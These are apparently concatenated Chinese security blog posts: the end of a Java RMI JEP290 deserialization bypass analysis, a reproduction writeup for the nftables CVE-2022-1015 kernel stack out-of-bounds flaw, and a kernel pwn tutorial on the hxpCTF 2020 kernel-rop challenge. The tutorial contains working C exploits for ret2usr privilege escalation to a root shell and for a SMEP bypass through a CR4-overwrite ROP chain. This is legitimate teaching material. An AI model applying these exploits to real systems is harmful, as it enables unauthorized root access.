TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) run:-1, 1330984495 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$Lambda$5) doPrivileged:-1, AccessController (java.security) run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:748, Thread (java.lang) 一路跟进到 sun.rmi.transport.LiveRef#read 可以看到这里把 payload 里所传入的 LiveRef 解析到 var5 变量处,里面包含了 ip 与 端口 信息(JRMPListener 的端口)。这些信息将用于后面注册中心与 JRMP 端建立通信。 跟进 saveRef() 方法,里面做了一个映射,其建立了一个 TCPEndpoint 到 ArrayList<LiveRef> 的映射关系。 到这里 JRMP 的通信流程基本结束了,接着再回到 dispatch() 方法,在调用了 readObject 方法之后调用了 var2.releaseInputStream();,跟进 releaseInputStream() 方法调用了 this.in.registerRefs() 方法,跟进。其中先判断了当前保存的 Ref 是否为空,再获取当前 Ref,这个 Ref 实际上就是创建的 JRMP 连接,再跟进 registerRefs() 方法 var2这里返回的是 DGCClient 对象,里边同样封装了我们的端口信息 接着看到 registerRefs 方法中的 this.makeDirtyCall(var2, var3);,跟进一下 里面主要是做了数据处理,将原本保存了 EndPoint 的 var1 —— HashSet 数组转换为 ObjID,同时,调用了 this.dgc.dirty() 方法,跟进。 在 dirty() 方法中调用 wirteObject() 方法后,会用 invoke() 将数据发出去。 invoke() 方法实现的过程就是从 socket 连接中先读取了输入,然后直接反序列化,此时的反序列化并没有设置 filter(白名单),所以这里可以直接导致注册中心 rce,所以我们可以伪造一个 socket 连接并把我们恶意序列化的对象发过去,这也就是当时用 ysoserial 开启的 JRMP 至此绕过分析结束 0x05 小结 本身 JEP290 的绕过分析的思路是非常清晰的,但是整个流程还是比较复杂的,总结一下是从 RMI 通信的流程当中找到了可乘之机。
Nftables栈溢出漏洞(CVE-2022-1015)复现
背景介绍 Nftables Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点(Hook Point) 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 // include/uapi/linux/netfilter_ipv4.h #define NF_IP_PRE_ROUTING   0 /* After promisc drops, checksum checks. */ #define NF_IP_LOCAL_IN       1 /* If the packet is destined for this box. */ #define NF_IP_FORWARD       2 /* If the packet is destined for another interface. */ #define NF_IP_LOCAL_OUT     3 /* Packets coming from a local process. */ #define NF_IP_POST_ROUTING   4 /* Packets about to hit the wire. */ #define NF_IP_NUMHOOKS       5 Nftables的架构 Nftables由四部分组成 table(表):用于指定网络协议的类型,如ip,ip6,arp等 chains(链):用于指定流量的类型,如流入的流量或者是流出的流量并可以指定网络接口,如本地回环接口或者以太网接口等。 rules(规则):规则是用于过滤数据包所依据的规则,例如检查协议、来源、目的地、端口等规则。 express(表达式):表达式则是具体的操作。 使用非常形象的图描述,如下 表达式(express) 表达式是对一个数据包具体的操作,这里大致介绍后续需要用到的表达式。 nft_payload nft_payload用于将数据包的值拷贝到寄存器中 struct nft_payload { enum nft_payload_bases base:8; u8 offset; u8 len; u8 dreg; }; base:数据包类型 offset:数据包起始位置的偏移 len:拷贝的长度 dreg:目的寄存器 其中base的类型由enum nft_payload_bases指定 /* include/uapi/linux/netfilter/nf_tables.h */ /** * enum nft_payload_bases - nf_tables payload expression offset bases * * @NFT_PAYLOAD_LL_HEADER: link layer header * @NFT_PAYLOAD_NETWORK_HEADER: network header * @NFT_PAYLOAD_TRANSPORT_HEADER: transport header * @NFT_PAYLOAD_INNER_HEADER: inner header / payload */ enum nft_payload_bases { NFT_PAYLOAD_LL_HEADER, //链路层 NFT_PAYLOAD_NETWORK_HEADER, //网络层 NFT_PAYLOAD_TRANSPORT_HEADER, //传输层 NFT_PAYLOAD_INNER_HEADER, //数据包内部 }; 下面这个例子则是将传输层的包偏移16个字节的位置,取出两个字节的内容存放到目的寄存器中,该寄存器的编号为2 base = NFT_PAYLOAD_TRANSPORT_HEADER offset = 16 -> the checksum is 16 bytes away from the start of the TCP header len = 2 -> the checksum is 2 bytes dreg = NFT_REG32_02 (the small registers start frrom NFT_REG32_00) nft_payload_set nft_payload_set则是与nft_payload相反,该表达式是将指定寄存器的值存放到数据包里面 /* include/net/netfilter/nf_tables_core.h */ struct nft_payload_set { enum nft_payload_bases base:8; u8 offset; u8 len; u8 sreg; u8 csum_type; u8 csum_offset; u8 csum_flags; }; 与nft_payload不同的是多了校验和的可选选项 nft_cmp_expr nft_cmp_expr表达式则是用于比较,通常用于判断数据包的端口号是否是需要符合要求。 struct nft_cmp_expr { struct nft_data data; u8 sreg; u8 len; enum nft_cmp_ops op:8; }; data:用于设置比较的常量值 sreg:源寄存器,可以认为是数据包取出的内容 len:比较的长度 op:比较的操作,具体操作类型如下所示 <!-- -->/** * enum nft_cmp_ops - nf_tables relational operator * * @NFT_CMP_EQ: equal * @NFT_CMP_NEQ: not equal * @NFT_CMP_LT: less than * @NFT_CMP_LTE: less than or equal to * @NFT_CMP_GT: greater than * @NFT_CMP_GTE: greater than or equal to */ enum nft_cmp_ops { NFT_CMP_EQ, NFT_CMP_NEQ, NFT_CMP_LT, NFT_CMP_LTE, NFT_CMP_GT, NFT_CMP_GTE, }; nft_bitwise nft_bitwise用于对数据包进行比特级别的操作。例如移位,掩码设置等。 struct nft_bitwise { u8 sreg; u8 dreg; enum nft_bitwise_ops op:8; u8 len; struct nft_data mask; struct nft_data xor; struct nft_data data; }; sreg:源寄存器 dreg:目的寄存器,用于存放最后的结果 op:指定具体的比特操作,具体操作如下 <!-- -->/** * enum nft_bitwise_ops - nf_tables bitwise operations * * @NFT_BITWISE_BOOL: mask-and-xor operation used to implement NOT, AND, OR and *                   XOR boolean operations * @NFT_BITWISE_LSHIFT: left-shift operation * @NFT_BITWISE_RSHIFT: right-shift operation */ enum nft_bitwise_ops { NFT_BITWISE_BOOL, NFT_BITWISE_LSHIFT, NFT_BITWISE_RSHIFT, }; mask:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与mask中指定的值进行掩码设置操作。并将结果存放到dreg中 xor:当op被指定为NFT_BITWISE_BOOL时,sreg的值会与xor中指定的值进行掩码设置操作。并将结果存放到dreg中 data:当op被指定为NFT_BITWISE_LSHIFT或NFT_BITWISE_RSHIFT时,data需要被指定移位的数值。 寄存器(register) 在Nftables中是以寄存器作为存储区,用于存放一段连续的内存,现在Nftables版本每个寄存器的值存放4字节数据,而旧版的Nftables的每个寄存器是存放16个字节的数据,为了保持兼容性,4字节的寄存与16字节的寄存器都被保留。寄存器的枚举值如下所示 enum nft_registers { NFT_REG_VERDICT, //判定寄存器 NFT_REG_1, NFT_REG_2, NFT_REG_3, NFT_REG_4, __NFT_REG_MAX, NFT_REG32_00 = 8, NFT_REG32_01, NFT_REG32_02, ... NFT_REG32_13, NFT_REG32_14, NFT_REG32_15, }; 其中NFT_REG_VERDICT被称之为判断寄存器,这个寄存器比较特殊,是用于判定每个数据包需要怎么处理。判定的类型如下 NFT_CONTINUE:允许数据包通过防火墙 NFT_BREAK:跳过剩余的规则表达式 NF_DROP:直接丢弃数据包 NF_ACCEPT:接收数据包 NFT_GOTO:跳转到其他链执行 NFT_JUMP:跳转到其他链执行,若其他链将该数据包判定为NFT_CONTINUE则返回当前链 libmnl与libnftnl 由于Nftables处于内核,需要从用户层向内核发送消息去设置需要拦截数据包的属性,人工构造成本较大,因此使用现成的库libmnl与libnftnl 环境搭建 环境版本 ubuntu 20.04 qemu-system-x86_64 4.2.1 Linux-5.17源码 设置编译选项 cd /home/pwn/CVE/CVE-2022-1015/CVE-2022-1015/linux-5.17 sudo gedit .config #将下列选项设置为y CONFIG_NF_TABLES=y CONFIG_NETFILTER_NETLINK=y CONFIG_USER_NS=y CONFIG_E1000=y CONFIG_E1000E=y make -j32 bzImage #编译 #安装依赖库 sudo apt-get install libmnl-dev sudo apt-get install libnftnl-dev 漏洞验证 若运行exp显示超过边界则代表没有漏洞 若exp正常运行则代表漏洞 漏洞分析 源码分析 nft_parse_register_load nft_cmp_expr:op=NFT_CMP_EQ sreg=8data=IPPROTO_TCP。该表达式是一个比较的表达式,用于比较下标为8的寄存器中的数据是否为TCP的协议。那么如何将下表为8的寄存器转化为内核中寄存器的内存位置,则需要以来下面列举的函数。 nft_parse_register_load函数就是将用户设定的寄存器的下标转化为内核寄存器的下标,然后存储在源寄存器中。 File: net\netfilter\nf_tables_api.c 9325: int nft_parse_register_load(const struct nlattr *attr, u8 *sreg, u32 len) 9326: { 9327: u32 reg; 9328: int err; 9329: 9330: reg = nft_parse_register(attr); //用于提取数据包中的寄存器的下标,并转化为Nftables中寄存器的下标 9331: err = nft_validate_register_load(reg, len); //用于检验寄存器下表的合法性,漏洞点 9332: if (err < 0) 9333: return err; 9334: 9335: *sreg = reg; //然后将寄存器的下标值存储在源寄存器中 9336: return 0; 9337: } nft_parse_register nft_parse_register函数用于将用户设置的寄存器下标转化为内核中寄存器的下标。 File: net\netfilter\nf_tables_api.c 9278: static unsigned int nft_parse_register(const struct nlattr *attr) 9279: { 9280: unsigned int reg; 9281: 9282: reg = ntohl(nla_get_be32(attr)); //提取数据包的寄存器下标,比如上述例子为8 9283: switch (reg) {       //0 - 4是16字节寄存器 9284: case NFT_REG_VERDICT...NFT_REG_4: 9285: return reg * NFT_REG_SIZE / NFT_REG32_SIZE; //reg * 4 9286: default:       //由于4字节寄存器起始下标为8,因此要减去起始下标 9287: return reg + NFT_REG_SIZE / NFT_REG32_SIZE - NFT_REG32_00; // reg - 4 9288: } 9289: } nft_validate_register_load nft_validate_register_load函数则是用于校验下标是否有问题,但是这个检验存在整型溢出的问题。reg是枚举值,而枚举通常会被编译为int类型。len代表数据包的长度。 正常情况下:reg = 100,那么套入校验则为100 * 4 + 0x10 = 0x1a0 >0x50,那么会检验出寄存器下标存在问题 漏洞情况:reg =0xffffffff(int情况下的最大值),那么逃入检验则为0xffffffff * 4 +0x10 =0x40000000c,由于int最大值为0xffffffff,那么最高4个比特会被舍弃,那么最后得到的值为0x0000000c,此时0xc< 0x50,就可以绕过检验。那么绕过检验后就会执行* sreg =reg,此时reg = 0xffffffff,就会导致*sreg = 0xff <!-- -->File: net\netfilter\nf_tables_api.c 9313: static int nft_validate_register_load(enum nft_registers reg, unsigned int len) 9314: { 9315: if (reg < NFT_REG_1 * NFT_REG_SIZE / NFT_REG32_SIZE) // reg < 4则报错 9316: return -EINVAL; 9317: if (len == 0) //长度为0则报错 9318: return -EINVAL; 9319: if (reg * NFT_REG32_SIZE + len > sizeof_field(struct nft_regs, data)) //reg * 4 + len > 0x50则报错,存在整型溢出漏洞 9320: return -ERANGE; 9321: 9322: return 0; 9323: } nft_do_chain 每一个被拦截的数据包都需要经过链上的表达式进行处理,而链处理的函数则为nft_do_chains,这个函数会提取出相应的表达式,最后调用expr_call_ops_eval函数进行处理。 File: net\netfilter\nf_tables_core.c 197: unsigned int 198: nft_do_chain(struct nft_pktinfo *pkt, void *priv) 199: {   ... 224: for (; rule < last_rule; rule = nft_rule_next(rule)) { 225: nft_rule_dp_for_each_expr(expr, last, rule) { 226: if (expr->ops == &nft_cmp_fast_ops) 227: nft_cmp_fast_eval(expr, &regs); 228: else if (expr->ops == &nft_bitwise_fast_ops) 229: nft_bitwise_fast_eval(expr, &regs); 230: else if (expr->ops != &nft_payload_fast_ops || 231: !nft_payload_fast_eval(expr, &regs, pkt)) 232: expr_call_ops_eval(expr, &regs, pkt); 233: 234: if (regs.verdict.code != NFT_CONTINUE) 235: break; 236: }   ... expr_call_ops_eval expr_call_ops_eval函数则是根据不同的表达式选择不同的处理函数,例如若该数据包需要经过nft_payload的表达式处理,则会调用nft_payload_eval。 File: net\netfilter\nf_tables_core.c 161: static void expr_call_ops_eval(const struct nft_expr *expr, 162:       struct nft_regs *regs, 163:       struct nft_pktinfo *pkt) 164: { 165: #ifdef CONFIG_RETPOLINE 166: unsigned long e = (unsigned long)expr->ops->eval; 167: #define X(e, fun) \ 168: do { if ((e) == (unsigned long)(fun)) \ 169: return fun(expr, regs, pkt); } while (0) 170: 171: X(e, nft_payload_eval); 172: X(e, nft_cmp_eval); 173: X(e, nft_counter_eval); 174: X(e, nft_meta_get_eval); 175: X(e, nft_lookup_eval); 176: X(e, nft_range_eval); 177: X(e, nft_immediate_eval); 178: X(e, nft_byteorder_eval); 179: X(e, nft_dynset_eval); 180: X(e, nft_rt_get_eval); 181: X(e, nft_bitwise_eval); 182: #undef  X 183: #endif /* CONFIG_RETPOLINE */ 184: expr->ops->eval(expr, regs, pkt); 185: } nft_payload_eval 这里可以看到regs存放在栈上面,dest这个变量值是通过&regs->data[priv->dreg]取出来的,而priv->dreg则是通过上述的nft_parse_register_load函数进行提取的,那么这里就存在一个非常明显的数组越界的漏洞。 File: net\netfilter\nft_payload.c 121: void nft_payload_eval(const struct nft_expr *expr, 122:      struct nft_regs *regs, 123:      const struct nft_pktinfo *pkt) 124: { 125: const struct nft_payload *priv = nft_expr_priv(expr); 126: const struct sk_buff *skb = pkt->skb; 127: u32 *dest = &regs->data[priv->dreg]; ... 165: if (skb_copy_bits(skb, offset, dest, priv->len) < 0) //拷贝数据 166: goto err; 167: return; 168: err: 169: regs->verdict.code = NFT_BREAK; 170: } 因此整型溢出结合越界就能够使我们访问到内核栈上的其他数据,如下图所示。 漏洞利用 漏洞利用分析 现在我们拥有了访问内核栈上其它地址的能力了,想要做到任意代码执行则需要考虑下列几种情况 由于返回地址存在在栈上,需要判断数组越界是否能够到达返回地址的位置 如何通过数组越界改写返回地址 由于需要进行任意代码执行,那么需要用到内核函数,则需要得到内核的程序基地址才能够根据函数偏移地址计算出函数的实际地址 由于表达式都会对寄存器空间进行操作,因此可以使用表达式对内存空间进行读写操作。 nft_bitwise表达式可以控制源寄存器和目的寄存器,那么采用nft_bitwise可以将源寄存器的内容放置到目的寄存器中,因此可以利用nft_bitwise进行越界读,此时需要分析该数组越界读的边界的大小是多少。这里需要注意的是由于len是sreg与dreg共同拥有的,为了dreg不越界,这里的长度最大值只能为0x40而不能为0xff,因为拥有16个寄存器,每个寄存器的值为4个字节,因此16* 4 = 64 = 0x40 上界:(0xffffffff * 4) + 0x40 = 0x40000003c = 0x3c < 0x50 , 0xff* 4 = 0x3fc;由于可以拷贝0x40个字节的长度,因此0x3fc + 0x40 =0x43c。 下界:(0xfffffff0 * 4 ) + 0x40 = 0x400000000 = 0x0 < 0x50, 0xf0 *4 = 0x3c0 内核地址泄露 接着查看regs偏移0x3c0处的地址信息,结果发现在该片区域存在一个明显的内核地址,因此若能将这个地址进行泄露,我们就能获取内核的基地址。 返回地址覆盖 由于需要构建的payload比较长,而我们如果利用nft_wise最多只能写入0x43c -0x3c0 =0x7c的长度,是远远不够的,因此对返回地址进行覆盖时不能使用nft_bitwise,而得改用nft_payload。nft_payload需要dreg的下标以及修改的长度len,由于我们只需要考虑一个寄存器的值,因此该寄存器的长度最大可以达到0xff。因此我们可以在地址更低的位置去搜索有无可以覆盖的返回地址。 可以发现在0x360的地址处也有一个内核的代码段地址 并且可以发现该函数主要是处理udp包的发送 为了检验该地址是否能够修改程序的执行流程,可以使用一个方法,将该地址的值修改为非法值并观察内核是否会崩溃,这里将地址的内容修改为0x1122334455667788,接着运行程序。 可以看到内核报错的信息显示RIP的地址为刚刚我们修改的地址,因此该地址可以作为被劫持程序执行流程的地址。 exp分析 现在我们已经具有了两个利用条件 泄露内核的程序基地址 找到可以劫持程序执行流程的地址值 地址泄露 利用nft_bitwise泄露地址,这里注意的是在使用nft_bitwise泄露地址时,需要将data值设置为0,这样就不会进行移位而导致我们的内核地址被修改存储,最后将泄露的地址值放置在NFT_REG32_05下标的寄存器中 接着使用nft_set_payload将udp数据包的值修改为NFT_REG32_05寄存器的值,最后取出udp数据包的值,获取内核程序地址值 返回地址覆盖 利用nft_payload完成返回地址的覆盖 在数据包中将payload填充进去,这里需要说明一下如何在内核中拿到shell权限 首先需要在内核中拿到root权限,需要调用commit_creds(prepare_kernel_cred(0))的内核函数获取新的凭证结构,而该结构的uid = 0 ,gid =0即为root权限 其次需要切换命名空间,由于在普通用户下是无法直接调用Nftables的,因为需要管理员的权限,因此在普通用户下需要新开辟一个命名空间,使得该空间与正常的空间隔离,此时才能够正常执行Nftales。那么如果逃逸这段命名空间则需要进行命名空间的切换,则依赖于switch_task_namespace函数,可以将命名空间切换为root的命名空间 最后则是实现从内核态切换到用户态,由于我们是在内核空间拿到权限,而我们需要在用户态执行,因此需要完成状态的转换,该状态转换依赖于swapgs_restore_regs函数 漏洞修复 补丁则是新增一条判断条件,属于4字节寄存器的下标单独处理,而不在16字节寄存器以及4字节寄存器的范围内的下标都进行报错处理 总结 Nftables栈溢出漏洞攻击流程 首先利用nft_bitwise进行内核基地址的泄露。 其次是利用nft_payload改写返回地址,并将提权代码注入进去。 最后等到代码被触发。 Nftables栈溢出漏洞利用的限制 不同的内核版本的内核栈布局几乎不同,因此不同版本之间的利用手法相差较大,因此漏洞的利用十分依赖于内核版本,针对不同的版本需要做出针对性的漏洞利用的exp编写。差别存在于内核栈中存在的内核代码段地址的偏移不同,例如有些内核代码段地址偏移距离regs太大,导致无法利用漏洞进行泄露或者改写。
kernel pwn入门
Linux Kernel 介绍 Linux 内核是 Linux操作系统的核心组件,它提供了操作系统的基本功能和服务。它是一个开源软件,由Linus Torvalds 在 1991 年开始开发,并得到了全球广泛的贡献和支持。 Linux内核的主要功能包括进程管理、内存管理、文件系统、网络通信、设备驱动程序等。它负责管理计算机硬件和软件资源,并为应用程序提供必要的基础支持。Linux内核是一个模块化的系统,可以根据需要加载和卸载各种驱动程序和功能模块。 Linux Kernel 环境 vmlinuz或bzImage:linux内核的压缩镜像 vmlinux:linux内核的符号表 initramfs.cpio.gz:文件系统,有系统启动的信息 run.sh:qemu启动的shell脚本,里面有linux内核开启了哪些保护 Linux Kernel gadget获取 通过压缩的linux内核镜像获取符号表 ./extract-image.sh ./vmlinuz > vmlinux extract-image.sh #!/bin/sh # SPDX-License-Identifier: GPL-2.0-only # ---------------------------------------------------------------------- # extract-vmlinux - Extract uncompressed vmlinux from a kernel image # # Inspired from extract-ikconfig # (c) 2009,2010 Dick Streefland <dick@streefland.net> # # (c) 2011     Corentin Chary <corentin.chary@gmail.com> # # ---------------------------------------------------------------------- check_vmlinux() { # Use readelf to check if it's a valid ELF # TODO: find a better to way to check that it's really vmlinux #       and not just an elf readelf -h $1 > /dev/null 2>&1 || return 1 cat $1 exit 0 } try_decompress() { # The obscure use of the "tr" filter is to work around older versions of # "grep" that report the byte offset of the line instead of the pattern. # Try to find the header ($1) and decompress from here for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` do pos=${pos%%:*} tail -c+$pos "$img" | $3 > $tmp 2> /dev/null check_vmlinux $tmp done } # Check invocation: me=${0##*/} img=$1 if [ $# -ne 1 -o ! -s "$img" ] then echo "Usage: $me <kernel-image>" >&2 exit 2 fi # Prepare temp files: tmp=$(mktemp /tmp/vmlinux-XXX) trap "rm -f $tmp" 0 # That didn't work, so retry after decompression. try_decompress '\037\213\010' xy   gunzip try_decompress '\3757zXZ\000' abcde unxz try_decompress 'BZh'         xy   bunzip2 try_decompress '\135\0\0\0'   xxx   unlzma try_decompress '\211\114\132' xy    'lzop -d' try_decompress '\002!L\030'   xxx   'lz4 -d' try_decompress '(\265/\375'   xxx   unzstd # Finally check for uncompressed images or objects: check_vmlinux $img # Bail out: echo "$me: Cannot find vmlinux." >&2 ROPgadget获取 不建议用ROPgadget,速度比较慢 ROPgadget --binary ./vmlinux > gadgets.txt Ropper获取 使用ropper速度会比较快 ropper --file ./vmlinux --nocolor > g 直接获取 ./vmlinux > gadgets.txt 然后搜索 cat gadgets.txt | grep 'pop' 文件系统 解包 mkdir initramfs cd initramfs cp ../initramfs.cpio.gz . gunzip ./initramfs.cpio.gz cpio -idm < ./initramfs.cpio rm initramfs.cpio 打包 gcc -o exploit -static $1 mv ./exploit ./initramfs cd initramfs find . -print0 \ | cpio --null -ov --format=newc \ | gzip -9 > initramfs.cpio.gz mv ./initramfs.cpio.gz ../ Linux Kernel的保护措施 Kernel stack cookies【canary】:防止内核栈溢出 Kernel address space layout【KASLR】:内核地址随机化 Supervisor mode executionprotection【SMEP】:内核态中不能执行用户空间的代码。在内核中可以将CR4寄存器的第20比特设置为1,表示启用。 开启:在-cpu参数中设置+smep 关闭:nosmep添加到-append Supervisor Mode AccessPrevention【SMAP】:在内核态中不能读写用户页的数据。在内核中可以将CR4寄存器的第21比特设置为1,表示启用。 开启:在-cpu参数中设置+smap 关闭:nosmap添加到-append Kernel page-tableisolation【KPTI】:将用户页与内核页分隔开,在用户态时只使用用户页,而在内核态时使用内核页。 开启:kpti=1 关闭:nopti添加到-append hxpCTF 2020 kernel-rop 这里使用hxpCTF2020的内核题作为例子,对内核中的保护以及如何绕过做简单介绍。 项目地址:https://github.com/h0pe-ay/Kernel-Pwn hackme_read 这个函数会将内核栈的数据拷贝到用户空间中去,因此可以利用改函数泄露内核栈的信息 hackme_write hackme_write这个函数则是从用户空间拷贝数据到内核栈中,但是变量V5的存储空间是远远小于从用户态中可以传的数据的大小,因此导致了出现内核态栈溢出。 动态调试 首先在启动脚本run.sh中加入-s的参数,使得可以使用gdb对qemu进行调试 其次可以使用lsmod查看模块加载的基址,这里需要注意的是需要先将启动脚本中的权限改为0 否则直接运行不会显示模块的地址,结果如下 将权限修改为0之后,就可以正常显示了 然后通过gdb进行调试时则可以将模块的基地址加入进去,使用add-symbol-file hackme.ko 0xffffffffc0000000 接着是从题目给的内核镜像中提取符号信息,通过./extract-image.sh vmlinuz > vmlinux,并且也加载到gdb中 最后就可以开启远程调试了,target remote:1234 这里需要注意的是ida中显示的地址可能不准确,因此可以直接在qemu中查看,cat /proc/kallsyms | grep hackme 在hackme_write中打下断点 这里我遇到个问题是在遇到push指令时不能够使用ni进行跟踪,而是需要si,否则会跑飞。 使用ni进行单步调试,程序会直接运行,无法断下来。 使用si则可以单步 至此就可以对hackme.ko的模块进行调试了。 未开启保护 首先是关闭内核中所有的保护,在遇到内核栈溢出时需要怎么完成漏洞利用。 run.sh 在append使用使用nosmap、nosemp、nokaslr、nopti关闭smap、semp、kaslr以及kpti的保护 qemu-system-x86_64 \    -m 128M \    -cpu kvm64\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nosemp nokaslr nopti quiet panic=1" \    -s ret2user 由于题目没有开启任何保护,因此首要使用的方法就是利用栈溢出修改内核栈上的返回地址。 首先检查一下保护,发现hackme.ko开启的canary的保护,因此想要完成栈溢出,首先需要泄露canary,由于题目本身就存在地址泄露功能,因此只要确保我们读取的内容包括canary的值即可 在hackme_read中打下断点,查看变量v6中存储了什么值,由于程序是通过memcpy进行数据拷贝的,因此直接查看RSI寄存器对应的数据 可以发现canary的值就在其中,因此利用hackmeread这个函数就可以将数据泄露出来 这里需要注意的是,虽然题目限制的长度是0x1000,但是并不能将拷贝0x1000的长度,因为可能会在不可读的地址中获取数据,导致了执行错误。 在泄露canary后就可以劫持程序执行流程了,与用户态不同,在内核态需要先获取root凭证,在切换到用户态下。 prepare_kernel_cred函数 prepare_kernel_cred函数用于为内核中的进程(也就是进程的内核线程)创建一个新的cred 结构体,该结构体包含有关进程的安全上下文信息,例如UID、GID、capabilities 等。 commit_creds函数 commit_creds 函数接受一个指向 cred结构体的指针,并将其分配给当前进程。该函数通常在进程启动时调用,以确保进程被正确配置以拥有所需的权限。 因此调用prepare_kernel_cred(0)可以获取root权限的凭证,接着调用commit_creds函数,就可以将当前进程的特权修改为root。即指向commit_creds(prepare_kernel_cred(0)) 在获取完root之后则需要调用swags指令进行GS寄存器的切换,即将g_base与k_gs_base的值进行交换,swapgs是一个汇编指令,用于在执行内核代码期间切换当前 CPU 的内核栈和 GS寄存器。完成交换之后才能确保在用户态的寻址不会存在问题。 执行swags指令之前 执行swags指令之后 最后则是切换回用户态,iretq 指令是 x86架构下用于从中断处理程序(或系统调用处理程序)返回到用户空间的指令。它是iret 指令的 64 位版本,用于在 64 位模式下使用。 iretq 指令有以下三个功能: 恢复处理器的标志寄存器 (EFLAGS)的值,以便返回到原始程序的执行上下文。 恢复程序计数器 (Instruction Pointer, RIP)的值,以便返回到原始程序的执行点。 恢复栈指针 (Stack Pointer, RSP) 的值,以便将堆栈指针切换回用户栈上。 iretq还原的值的顺序为RIP|CS|RFLAGS|SP|SS,那么在iret指令中按顺序填充RIP、CS、RFLASG、RSP以及SS的值即可,因此在执行iretq之前需要将在用户态下将这些值进行保存。并且RIP指向的值为system("/bin/sh")函数的地址即可。 保存寄存器的汇编代码如下 __asm( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); 在iretq指令后跟随的值如下 exp 因此最后构造的exp如下 #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 绕过SMEP SMEP保护是防止内核执行用户空间的代码,而上述的exp则是将利用过程是将汇编语言写在用户空间中,因此在SMEP的保护下,上述的利用会失效。下面将介绍绕过SMEP的几种方法。 run.sh qemu-system-x86_64 \    -m 128M \    -cpu kvm64,+smep\    -kernel vmlinuz \    -initrd initramfs.cpio.gz \    -hdb flag.txt \    -snapshot \    -nographic \    -monitor /dev/null \    -no-reboot \    -append "console=ttyS0 nosmap nokaslr nopti quiet panic=1" \    -s 修改CR4寄存器 前面说过开启SMEP保护实际是将CR4寄存器的第20比特位置为1 那么一个简单的想法就是将CR4寄存器的第20比特位重写为0,关闭SMEP的保护就可以使用上述的利用手法了。那么写cr4寄存器的是通过native_write_cr4函数,将需要改写的值以参数的形式传入进去,因此此时需要一个pop rdi; ret的gadget。 找到native_write_cr4函数 exp #include <stdio.h> #include <fcntl.h> /* 0xffffffff814c6410 T commit_creds 0xffffffff814c67f0 T prepare_kernel_cred 0xffffffff81006370: pop rdi; ret; 0xffffffff814443e0 T native_write_cr4 */ unsigned long user_sp, user_cs, user_ss, user_rflags; void save_user_land() { __asm__( ".intel_syntax noprefix;" "mov user_cs, cs;" "mov user_sp, rsp;" "mov user_ss, ss;" "pushf;" "pop user_rflags;" ".att_syntax;" ); puts("[*] Saved userland registers"); printf("[#] cs: 0x%lx \n", user_cs); printf("[#] ss: 0x%lx \n", user_ss); printf("[#] rsp: 0x%lx \n", user_sp); printf("[#] rflags: 0x%lx \n\n", user_rflags); } void backdoor() { printf("****getshell****"); system("id"); system("/bin/sh"); } unsigned long user_rip = (unsigned long)backdoor; void lpe() { __asm( ".intel_syntax noprefix;" "movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred "xor rdi, rdi;" "call rax;" //prepare_kernel_cred(0); "mov rdi, rax;" "mov rax, 0xffffffff814c6410;" "call rax;" "swapgs;" "mov r15, user_ss;" "push r15;" "mov r15, user_sp;" "push r15;" "mov r15, user_rflags;" "push r15;" "mov r15, user_cs;" "push r15;" "mov r15, user_rip;" "push r15;" "iretq;" ".att_syntax;" ); } int main() { unsigned int i, index = 0; int fd = open("/dev/hackme", O_RDWR); unsigned long buf[256]; read(fd, buf, 8*11); for(i = 0; i < 11; i++) printf("i:%d:data:0x%lx\n",i, buf[i]); unsigned long canary = buf[2]; unsigned long leak_addr = buf[10]; save_user_land(); unsigned long payload[256]; for(i = 0; i < (16); i ++) payload[index++] = 0; payload[index++] = canary; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0; payload[index++] = 0xffffffff81006370; // pop rdi; ret; payload[index++] = 0x00000000000060; payload[index++] = 0xffffffff814443e0; //native_write_cr4 payload[index++] = (unsigned long)lpe; write(fd, payload, index * 8); return 0; } 但是在这个版本下的内核已经无法通过native_write_cr4函数改写CR4寄存器了,可以通过dmesg打印日志信息,可以发现 提示pinned CR4 bits changed: 